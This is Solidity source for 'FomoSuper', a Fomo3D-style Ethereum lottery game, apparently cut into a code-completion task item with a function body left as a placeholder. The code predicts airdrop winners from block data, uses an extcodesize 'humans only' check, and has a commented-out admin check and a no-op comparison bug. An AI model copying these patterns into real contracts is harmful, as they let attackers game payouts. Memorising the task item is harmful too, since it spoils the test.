(pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) {<FILL_FUNCTION_BODY> } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // pay 3% out to community rewards uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { // This ensures Team Just cannot influence the outcome of FoMo3D with // bank migrations by breaking outgoing transactions. // Something we would never do. But that's not the point. // We spent 2000$ in eth re-deploying just to patch this, we hold the // highest belief that everything we create should be trustless. // Team JUST, The name you shouldn't have to trust. _p3d = _com; _com = 0; } // distribute share to affiliate uint256 _aff = _eth / 10; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } // pay out p3d _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { // deposit to divies contract uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); // set up event data _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { // setup local rID uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 1% into airdrop pot uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate // require(msg.sender == admin, "only admin can activate"); // erik // can only be ran once require(activated_ == false, "FOMO Short already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } }
contract FomoSuper is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xB2b3d6feAE1AB2af4a07Cf4C047D69aa01D809Aa); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== address private admin = msg.sender; string constant public name = "FomoSuper"; string constant public symbol = "FomoSuper"; uint256 private rndExtra_ = 0; // length of the very first ICO uint256 private rndGap_ = 2 minutes; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 12 hours; // round timer starts at this uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 24 hours; // max length a round timer can be //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages // (F3D, P3D) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = F3Ddatasets.TeamFee(22,6); //50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[1] = F3Ddatasets.TeamFee(30,8); //43% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[2] = F3Ddatasets.TeamFee(52,10); //20% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[3] = F3Ddatasets.TeamFee(68,8); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot // how to split up the final pot based on which team was picked // (F3D, P3D) potSplit_[0] = F3Ddatasets.PotSplit(15,10); //48% to winner, 25% to next round, 2% to com potSplit_[1] = F3Ddatasets.PotSplit(25,0); //48% to winner, 25% to next round, 2% to com potSplit_[2] = F3Ddatasets.PotSplit(20,20); //48% to winner, 10% to next round, 2% to com potSplit_[3] = F3Ddatasets.PotSplit(30,10); //48% to winner, 10% to next round, 2% to com activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens 